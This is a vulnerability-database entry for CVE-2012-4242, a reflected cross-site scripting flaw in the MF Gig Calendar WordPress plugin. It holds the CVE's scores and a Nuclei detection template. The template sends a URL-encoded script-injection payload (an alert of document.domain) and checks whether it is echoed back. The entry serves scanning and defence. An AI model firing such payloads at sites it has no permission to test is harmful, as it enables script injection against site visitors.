SecurityContext

CVE-2012-4242: WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 4.3
  • Cvss vector: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
  • Epss score: 0.0928
  • Epss percentile: 0.95491
  • Cpe: cpe:2.3:a:mf_gig_calendar_project:mf_gig_calendar:0.9.2:*:*:*:*:*:*:*

Metadata

  • Max-request: 2
  • Product: mf_gig_calendar
  • Vendor: mf_gig_calendar_project

Products

ProductIndexedUrl
mf_gig_calendar_project:mf_gig_calendaryes/v1/products/mf_gig_calendar_project/mf_gig_calendar

Labels

  • Name: MF Gig Calendar - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Update to the latest version of the plugin where the vulnerability is fixed.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to visit a crafted URL
  • Labels source: projectdiscovery
  • From cve: CVE-2012-4242

```yaml

id: CVE-2012-4242

info:

name: WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting

author: daffainfo

severity: medium

description: A cross-site scripting vulnerability in the MF Gig Calendar plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the query string to the calendar page.

impact: |

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.

remediation: |

Update to the latest version of the WordPress Plugin MF Gig Calendar to mitigate this vulnerability.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2012-4242

- http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html

- https://github.com/ARPSyndicate/kenzer-templates

- https://github.com/d4n-sec/d4n-sec.github.io

classification:

cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N

cvss-score: 4.3

cve-id: CVE-2012-4242

cwe-id: CWE-79

epss-score: 0.0928

epss-percentile: 0.95491

cpe: cpe:2.3:a:mf_gig_calendar_project:mf_gig_calendar:0.9.2:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: "mf_gig_calendar_project"

product: "mf_gig_calendar"

tags: cve,cve2012,wordpress,xss,wp-plugin,mf_gig_calendar_project,vuln

flow: http(1) && http(2)

http:

- raw:

- |

GET /wp-content/plugins/mf-gig-calendar/readme.txt HTTP/1.1

Host: {{Hostname}}

matchers:

- type: word

internal: true

words:

- 'MF Gig Calendar ='

- method: GET

path:

- '{{BaseURL}}/?page_id=2&%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

matchers-condition: and

matchers:

- type: word

part: body

words:

- "</script><script>alert(document.domain)</script>"

- type: word

part: header

words:

- text/html

- type: status

status:

- 200

digest: 490a004630440220535d0fed6d7e1cae15ba5d46a8183bde0b46db5585479219dc8a4c4f089c722c02206176466293b1449c2c72987da12dbc4c910c06d98e10914d6e43f962da21984f:922c64590222798bb761d5b6d8e72950

```